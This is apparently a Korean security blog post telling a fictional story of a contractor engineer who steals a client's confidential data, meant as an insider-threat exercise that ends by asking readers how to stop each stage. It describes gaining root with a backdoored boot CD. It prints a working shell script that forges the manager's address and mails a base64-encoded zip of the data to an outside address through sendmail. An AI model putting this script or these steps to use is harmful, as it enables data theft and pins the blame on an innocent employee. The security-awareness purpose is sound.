2013년 10월 30일 수요일

가상 시나리오: 3rd-Party 엔지니어에 의한 정보 유출

안녕하세요. SecurityPlus입니다.
해커는 특별한 사람들일까요?
그 질문에 대해 여기 특별히 구성된 이야기로 그 대답을 대신하려고 합니다...^^

에피소드 1. 폭풍 전야

난 XX 고객사를 지원하는 작은 회사의 엔지니어다.
벌써 한 달째...
매일 야근에 돌아오는 것은 XX 고객사 염부장의 욕설과 비아냥 뿐....
젠장....이젠 조금씩 지쳐 간다...
그래도 한 달 동안 삽질하고 있는 CIA2009 서버는 이 회사의 매우 중요한 정보를
다루는 서버라는 것을 알았다.
염부장을 엿먹게 하고 싶은 생각에 남몰래 시스템 Root에서 rm -rf * 를 치는 상상을
종종 하곤 한다.
하지만, 그보다 더 통쾌하게 복수할 수 있는 계획을 세웠다.
그것은 바로 그 중요 정보를 경쟁사에 팔아 넘기는 거다.
나의 고생의 대가로 그 정도는 보상을 받아야 하지 않을까.....
이미 경쟁사 김 이사와 정보에 대한 구매 가격과 전달 방법도 약속해 놓은 터다.
두고 봐라, 염 부장....즐거울꺼다...ㅋㅋ
내일이 기다려진다....


에피소드 2. 닫혀진 봉인을 풀다.

현재 시각 저녁 7시 40분. 염부장 호출이다.
패치 작업이 필요하다고 메일 줬더니, 당장 오늘 저녁 8시까지 들어오란다...젠장.
xx 고객사 정문, 이곳은 출입통제가 꽤 엄격하다.
USB 메모리 스틱, 외장 하드디스크, MP3 등 이동식 저장 매체는 모두 반입 금지다.
더구나, 노트북의 USB 포트와 CD-ROM은 모두 보안 스티커를 붙이고,
카메라폰의 카메라 렌즈 부분도 역시 보안 스티커 신세다....ㅋㅋ
매일 그렇듯, 오늘도 갖고 있던 것들을 모두 맡겨 놓고, 스티커로 도배한 다음,
터덜터덜 염부장을 만나러 갔다.
어, 왔어? 참, 내가 얘기 안 했던가? 오늘 패치 작업은 새벽 2시부터야...
아뭏튼 왔으니깐, 그때까지 대기....불만 없지?
...(_ _)a;;;
아...네....................18....
새벽 2시.
패치 작업에는 Root 권한이 필요하다. 그래서, 염부장이 Telnet 창 하나 열어 주면,
거기서 작업하는 것이 보통이다. 그래서, 난 CIA2009 서버에 계정도 없고,
Root 패스워드도 모른다. 하지만, 난 거기에 어떤 정보가 어디에 있는진 안다.
이 닫혀진 보물상자를 어떻게 열 수 있을까.....
저, 염부장님......
와??
패치할 코드도 크고, FTP도 느린데, 서버실에서 CD로 올리면 안 될까요?
그래? 하흠.....뭐, 제품까냐? 뭔 패치가 그렇게 커? 아뭏튼 나도 빨리 가야 하니깐,
그렇게 하지.
서버실.
염부장은 졸린지 연신 하품이다.
CD를 넣고, 패치를 했다.
저, 염부장님, 패치는 끝났는데요. 이제 서버 부팅하고, 구성 좀만 손 보면 끝납니다.
그래? 하흠....이 서버 부팅할려면 꽤 걸리는데....난 올라가서 쉬고 있을 테니깐,
서버 올라오면 알려 줘.
염부장이 직접 shutdown -rF now 명령 날리고는 나가버렸다.
큰 서버의 굉음만이 내 곁을 지키고 있다.
하지만, 염부장도, 어느 누구도 내가 보물상자의 열쇠를 CD에 담아 넣어 두었으리라
고는 아무도 상상하지 못했을 꺼다.
(넣은 CD는 특수한 백도어를 넣은 부팅 CD....ㅋㅋ )
그 다음 이야기는 아래 동영상을 통해 직접 확인하길....^^


난 이제 root 다.
내가 가져가야 할 정보가 있는 곳으로 가서 해당 파일들을 data.zip으로 묶었다.
이제 이걸 어떻게 담아가지?
노트북으로 작업하는 거면, 방법은 있다.
"블루투스". 그렇다. 블루투스를 통해 핸드폰에 저장하면 된다.
하지만, 여긴 서버실이고, 난 콘솔을 통해 작업하고 있다.
외부의 공개된 FTP를 사용하면 되지만, 정책상 외부로 나가는 FTP는 차단되어 있다.
어떻게 하면 이 자료들을 갖고 갈 수 있지?
이 비밀은 그리 어렵지 않다....^^

에피소드 3. 염부장 고마워.

난, 모든 서비스 중 유일하게 외부로 오픈되어 있는 서비스를 안다.
물론, 직접 외부로 나갈 순 없더라도 반드시 나갈 수 있게 구성되어 있는 특수한 네트워크 서비스...^^
뭔지 알아?
그건, 바로 SMTP....ㅋㅋ 
그렇다. 메일 서비스다.
난, 어떤 서버건 무조건 기본으로 깔려 있고, 서비스되고 있는 sendmail을 사용하기로 했다.

local:/ # vi mailsender.sh
#!/bin/sh
echo "Starting to send e-mail to SecurityPlus..."

echo "From: yum.bujang@victim.com" > tmpmail
echo "To: securityplus@securityplus.or.kr" >> tmpmail
echo "Subject: Confidential Data" >> tmpmail
echo "Mime-Version: 1.0" >> tmpmail
echo "Content-Type: multipart/mixed; boundary=\"DMW.Boundary.605592468\"" >> tmpmail
echo "" >> tmpmail
echo "--DMW.Boundary.605592468" >> tmpmail
echo "Content-Type: application/x-zip-compressed" >> tmpmail
echo "Content-Transfer-Encoding: base64" >> tmpmail
echo "Content-Disposition: attachment; filename=\"data.zip\"" >> tmpmail
echo "" >> tmpmail
./base64.pl -e data.zip >> tmpmail
echo "" >> tmpmail
echo "--DMW.Boundary.605592468" >> tmpmail
/usr/sbin/sendmail -t < ./tmpmail

echo "Finished Sending SecurityPlus e-mail..."
local:/ #  ./mailsender.sh
Starting to send e-mail to SecurityPlus...
Finished Sending SecurityPlus e-mail...

local:/ # shutdown -rF now

테스트 해 볼 생각 있다면, To: 의 주소는 바꿔 주길 바란다...ㅋㅋ  내 메일 주소로 올 테니....
염부장이 메일을 보낸 것처럼 꾸며서 내 메일 주소로 보냈다.
물론, 내 메일 주소는 데이터를 받는 즉시 메일 서비스 업체에 가입 탈퇴를 해서 내 흔적을 지울 것이다.

어쨋든, 난, 내 CD를 빼고, 다시 재부팅을 했다.

한참 후에 로그인 창이 떴다.
염부장에게 전화를 했다.

뚜....뚜......뚜...... 이 자식 전화를 안 받는다.
자리에서 졸고 있음이 틀림없다.

다시 전화를 했다...그리고 몇 차례.....

어....올라왔어? 알았어....

조금 뒤에 염부장이 내려왔다.
그리고, Root 로그인을 해 줬다.
남은 작업을 마무리 하고 난 집으로 돌아와 내 메일을 확인해 보았다.


염부장 고마워....ㅋㅋ

누가 조사를 하더라도 결국, root 를 알고 있는 것도 염부장이고 메일을 보낸 이도 염부장이다....^^

난, 내일도 염부장의 구박을 받으며 일할 것이다.
경쟁사로부터 입금을 받고, 사건이 한 동안 조용할 때까지....ㅋㅋ


* 지금까지 가상 시나리오였습니다. 설마 저의 고해성사가 아니냐고 착각하는 건 아니겠죠...^^a;;;; 
   하지만, 과연 보안 전문가로써, 이러한 사건을 막으려면 각 단계별로 어떤 방안이 있을까요?
   여러가지로 한 번 생각해 보시기 바랍니다.

그럼, 안녕히 계세요.